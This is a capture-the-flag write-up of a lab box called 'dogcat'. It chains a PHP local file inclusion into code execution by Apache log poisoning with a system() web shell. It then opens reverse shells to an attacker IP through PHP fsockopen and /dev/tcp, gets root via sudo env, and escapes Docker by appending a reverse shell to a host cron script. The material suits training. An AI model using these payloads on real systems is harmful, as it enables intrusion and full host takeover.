I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
Enumeration
I first started with an Nmap service and script scan to identify the running services.
nmap -sC -sV 10.10.10.10
Host is up (0.097s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2431192ab1971a044e2c36ac840a7587 (RSA)
| 256 213d461893aaf9e7c9b54c0f160b71e1 (ECDSA)
|_ 256 c1fb7d732b574a8bdcd76f49bb3bd020 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Taking a look at the website, the first thing that was apparent to me was the URL, which had a query parameter of ?view=dog
or ?view=cat
depending on what was clicked. Considering the challenge description, I assumed the parameter was susceptible to directory traversal and thus local file inclusion (LFI).
I also ran a Feroxbuster scan on the web application to determine if there were any other directories or files that might be useful, such as a /upload
endpoint.
feroxbuster -u http://10.10.10.10
This unfortunately did not yield any results, so the only thing that seems to be exploitable is the URL query paramater.
Web Exploitation
Hence the challenge description, I began to try different payloads for LFI. The first thing I noticed was that if ?view
did not contain dog or cat, then an error would appear.
I then began to test the logic of determining whether dog
or cat
was included. For example, is the application just checking for “dog” substring? Or is it a direct comparison of $_GET["view"] == "dog"
. It turned out to be the former, luckily.
If something like dogs/../test
is passed, we can see the application attempts to call include()
with the file being passed. Further, it automatically appends “.php” to the extension. Thus:
?view=dog => include(dog.php)
?view=cat => include(cat.php)
But, as we saw, it only checks for substrings. So, we can trick it into including a file that is not cat.php or dog.php.
I found this StackOverFlow post about vulnerabilities with including
aribtrary data. One of the things I discovered was the use of PHP Wrappers, like php://filter
. We can call these wrappers to do certain things, such as read a file and base64 encode it.
For example, if we set ?view
to the following payload:
?view=php://filter/read=convert.base64-encode/resource=dogs/../index
The page will output the contents of index.php in base64, which we can decode to figure out the inner-workings of the application.
This results in the following index.php
file:
It pretty much does exactly what I thought it did. Checks for the substring, appends “.php”, and so on. However, one key note is that there is a check for ?ext
query parameter. This is what determines the extension. If it is not set, then “.php” is appended by default, however, we can set ?ext=
to have no extension.
Knowing this, I now wanted to test for LFI.
?view=php://filter/read=convert.base64-encode/resource=dogs/../../../../etc/passwd&ext=
And what do you know! We were able to see the base64 encoded contents of /etc/passwd
. Unfortunately, there were no interesting entries. So, we need to continue to exploit and chain LFI into Remote Code Execution (RCE).
Exploitation
Knowing that we do indeed have LFI, we can utilize Apache Log Poisoning. Essentially, we inject PHP into the Apache server logs, and then we use LFI to load the logs, which will in turn execute our injected PHP.
There are two ways of doing this:
- User Agent We can modify our user-agent to
<?php system($_GET['c']); ?>
and then access the web application. This will then store that code in the Apache logs, since Apache stores users agents. - Netcat We can also just send
<?php system($_GET['c']); ?>
to the web server using netcat. Simply connect withnc 10.10.10.10 80
and then send the payload. We will get an error about the server being unable to handle the request, but that’s fine.
Now we’ve injected the code into the Apache logs, and can pass a new query parameter, ?c
which will be our code we wish to be executed.
?view=dogs/../../../../var/log/apache2/access.log&ext=&c=whoami
Here we can see we have successfully chained LFI into RCE. I ran some additional commands such as “hostname” and “ls”, and one of the interesting entries I found in the directory was flag.php
. Using the same method to get the contents of index.php
, I got the contents of flag.php
and retrieved flag 1/4.
I started a Netcat listener and generated a PHP reverse shell.
ncat -lvnp 4444
?view=dogs/../../../../../../../var/log/apache2/access.log&ext=&c=php%20-r%20%27$sock=fsockopen(%2210.6.22.182%22,4444);$proc=proc_open(%22sh%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27
Some basic enumeration cd ../
got me flag 2/4.
Privilege Escalation
Now it is time to escalate our privileges. Let’s start with a simple sudo -l
to determine what our user has permission to sudo.
User www-data may run the following commands on 6fc02ea2cc71:
(root) NOPASSWD: /usr/bin/env
GTFOBINs have a nifty env GTFOBIN that we can use to escalate to root.
sudo env /bin/bash
cd /root
And that is flag 3/4!
Docker Escape
We know that this box consists of a Docker escape because the description told us so. Looking at /root
, we can notice a .Dockerenv
file, so we know this web-server is a docker container. I began to check through directories like /bin
, /var
, etc, until I found /opt/backups
. In this directory were two files: backup.sh
and backup.tar
.
It looks like /root/container
is being archived as a tar and being stored in /root/container/backup
. We can untar the backup to get more of an understanding how this works.
tar xvf backup.tar
This will deflate backup.tar
and reveal the /root
directory of the actual machine (not the Docker container). This lets us see how exactly this container is being ran. We can look at .Dockerfile
, the source to the web app, and an interesting launch.sh
file.
The -v /root/container/backup:/opt/backups
is a bind mount. This means that the volume /opt/backups
(Container) is bound to /root/container/backup
(Host). Any changes in one directory will be reflected to the other directory.
Essentially, a backup is made on the host machine (backup.tar
) and that file is reflected to the Docker container because of the bind mount. We can also take a look at ls and see that the backup is created every minute, so it’s probably some sort of cronjob on the host. So, we should be able to modify backup.sh
and the file should be reflected on the Host and executed by the cronjob.
Let’s try creating another reverse shell:
ncat -lvnp 2000
And then append a reverse shell payload to /opt/backups/backup.sh
:
echo "/bin/bash -i >& /dev/tcp/10.6.22.182/2000 0>&1" >> backup.sh
We should see a connection to our listener, and we now have a shell as root on the host machine, thus escaping the Docker container. And we also now have flag 4/4.